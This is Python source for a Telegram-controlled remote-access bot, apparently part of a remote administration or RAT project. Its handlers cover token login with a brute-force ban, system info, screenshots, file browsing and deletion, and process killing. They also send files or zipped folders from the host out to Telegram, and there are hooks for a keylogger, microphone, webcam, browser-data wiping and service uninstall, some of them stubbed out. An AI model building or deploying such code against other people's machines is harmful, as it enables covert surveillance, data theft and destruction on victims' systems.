def Information(message): chatid = message.chat.id # Check if user authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "INFORMATION"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Log Logger.Log(f"Command >> Get system info", chatid) # Create microphone controller keyboard markup = telebot.types.InlineKeyboardMarkup(row_width=1) markup.add( telebot.types.InlineKeyboardButton(text="▶️ RAM", callback_data="INFO_RAM"), telebot.types.InlineKeyboardButton(text="▶️ Boot", callback_data="INFO_BOOT"), telebot.types.InlineKeyboardButton(text="▶️ Disks", callback_data="INFO_DISK"), telebot.types.InlineKeyboardButton(text="▶️ System", callback_data="INFO_SYS"), telebot.types.InlineKeyboardButton(text="▶️ Processor", callback_data="INFO_CPU"), ) bot.send_message(chatid, "⚙️ System information:", reply_markup=markup)
def Authorize(message): token = message.text[11:] chatid = message.chat.id username = message.chat.username username = Messages.user.name_anonymous if username is None else username # Prevent authorization if user is banned ban_state, reason = BanManager.UserIsBanned(chatid) if ban_state is True: return bot.send_message(chatid, Messages.auth.user_is_banned % reason) # If user is already authorized if Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.already_authorized) # Check user auth password verify_state, name = VerifyToken(token) if verify_state is True: # Log user auth event Logger.Log(f"Auth >> Logged in successfully using token {name}", chatid) # Delete message with token bot.delete_message(chatid, message.message_id) # Get session expire time expire = ctime(time() + auth_expire_time) # Insert user to database Database.AuthorizeUser(chatid, name) bot.send_message( chatid, Messages.auth.user_authorized % (username, name, expire)) else: attempts = BanManager.GetAttempts(chatid) # Ban user if attempts == 0: Logger.Log(f"Auth >> User banned, reason: 'Token bruteforce'", chatid) BanManager.BanUser(chatid, username, True, "Token bruteforce") bot.send_message(chatid, Messages.auth.user_is_banned % "Bruteforce") else: attempts -= 1 Logger.Log( f"Auth >> Failed log in using token {token}, attempt left {attempts}", chatid) BanManager.SetAttempts(chatid, username, attempts) bot.send_message(chatid, Messages.auth.incorrect_token % attempts)
def Deauthorize(message): chatid = message.chat.id username = message.chat.username username = Messages.user.name_anonymous if username is None else username # If user is not authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Deauthorize user Logger.Log(f"Auth >> User logged out", chatid) Database.DeauthorizeUser(chatid) bot.send_message(chatid, Messages.auth.user_deauthorized % username)
def Permissions(message): chatid = message.chat.id # If user is not authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Log Logger.Log(f"Command >> Get permissions", chatid) # Get perms list token = Database.GetUserToken(chatid) perms = EnumeratePermissions(token, False, False) bot.send_message(chatid, "💎 " + perms)
def ReceiveFile(message: dict, bot) -> None: chatid = message.chat.id name = message.document.file_name info = bot.get_file(message.document.file_id) # Log Logger.Log(f"Transfer >> Receive file '{name}' from telegram", chatid) # Save document content = bot.download_file(info.file_path) with open(name, "wb") as file: file.write(content) bot.send_message(chatid, Messages.download_file_success % name)
def Screenshot(message): chatid = message.chat.id # Check if user authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "SCREENSHOT"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Log Logger.Log(f"Screenshot >> Get desktop screenshot", chatid) # Create desktop screenshot & send to user bot.send_chat_action(chatid, "upload_photo")
def Uninstall(message): chatid = message.chat.id # Check if user authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "UNINSTALL"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Log Logger.Log(f"Command >> Uninstall service", chatid) # Execute commands bot.send_message(chatid, Messages.services.stub_uninstall) Autorun.ServiceUninstall()
def MakeFileAction(callback: dict, bot) -> None: file = path.abspath(callback.data[3:]) action = FILE_ACTIONS[callback.data[:3]] chatid = callback.from_user.id # Log Logger.Log(f"Filemanager action '{action}', taget file: '{file}'", chatid) # Action if action == "Open": OpenPath(file, chatid, bot) elif action == "Delete": DeletePath(file, chatid, bot) elif action == "Download": UploadFile(file, chatid, bot)
def UploadFile(tfile, chatid, bot) -> None: # Log Logger.Log(f"Transfer >> Upload file '{tfile}' to telegram", chatid) # If file not exists if not path.exists(tfile): return bot.send_message(chatid, Messages.upload_path_not_found % tfile) # Download file if path.isfile(tfile): with open(tfile, "rb") as file: bot.send_document(chatid, file, caption="📄 " + path.abspath(tfile) ) # Archive and download directory else: obj = BytesIO() with ZipFile(obj, "w", compression=ZIP_DEFLATED) as archive: for root, dirs, files in walk(tfile): for file in files: archive.write(path.join(root, file)) bot.send_document(chatid, obj.getvalue(), caption="🗃 " + path.abspath(tfile) )
def KeyboardActions(callback): text = callback.data chatid = callback.from_user.id # Check if user authorized if not Database.UserIsAuthorized(chatid): return bot.send_message(chatid, Messages.auth.not_authorized) # Microphone controls if "Microphone" in text: # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "MICROPHONE"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle microphone command # Webcam controls elif "Webcam" in text: # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "WEBCAMERA"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle webcam command # WebcamRecorder.Handle(callback, bot) # Keylogger controls elif "Keylogger" in text: # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "KEYLOGGER"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle keylogger command #Keylogger.Handle(callback, bot) # Filemanager controls elif text[:2] in ("FA", "FC"): # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "FILEMANAGER"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle filemanager command if text[:2] == "FA": Files.OpenFileActionsMenu(callback, bot) elif text[:2] == "FC": Files.MakeFileAction(callback, bot) # System info elif text[:4] == "INFO": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "INFORMATION"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle system info command SystemInfo.Handle(callback, bot) # Process manager elif text[:2] == "TM": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "TASKMANAGER"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle taskmanager command ProcessManager.KillProcess(callback, bot) # Volume control elif text[:2] == "VL": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "VOLUME"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Get level if "GET" in text: return bot.send_message( chatid, Messages.services.volume_get_level % VolumeLevel.Get() + "%") else: # Set level level = int(text.split("_")[-1]) VolumeLevel.SetVolume(level) return bot.send_message( chatid, Messages.services.volume_set_level % level + "%") # Power control elif text[:5] == "POWER": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "POWER"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Handle taskmanager command Power.Handle(callback, bot) # Keyboard special keys elif text[:6] == "SNDKEY": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "KEYBOARD"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Keyboard.SendKeyPress(text.split("_")[-1], chatid) # Wipe browsers data elif text[:4] == "Wipe": # Check if token have permissions to do this if not Database.UserContainsPermission(chatid, "WIPE"): return bot.send_message(chatid, Messages.auth.permission_not_found) # Log Logger.Log(f"Command >> Wipe browsers data", chatid) # Wipe Wipe.WipeBrowserData(callback, bot)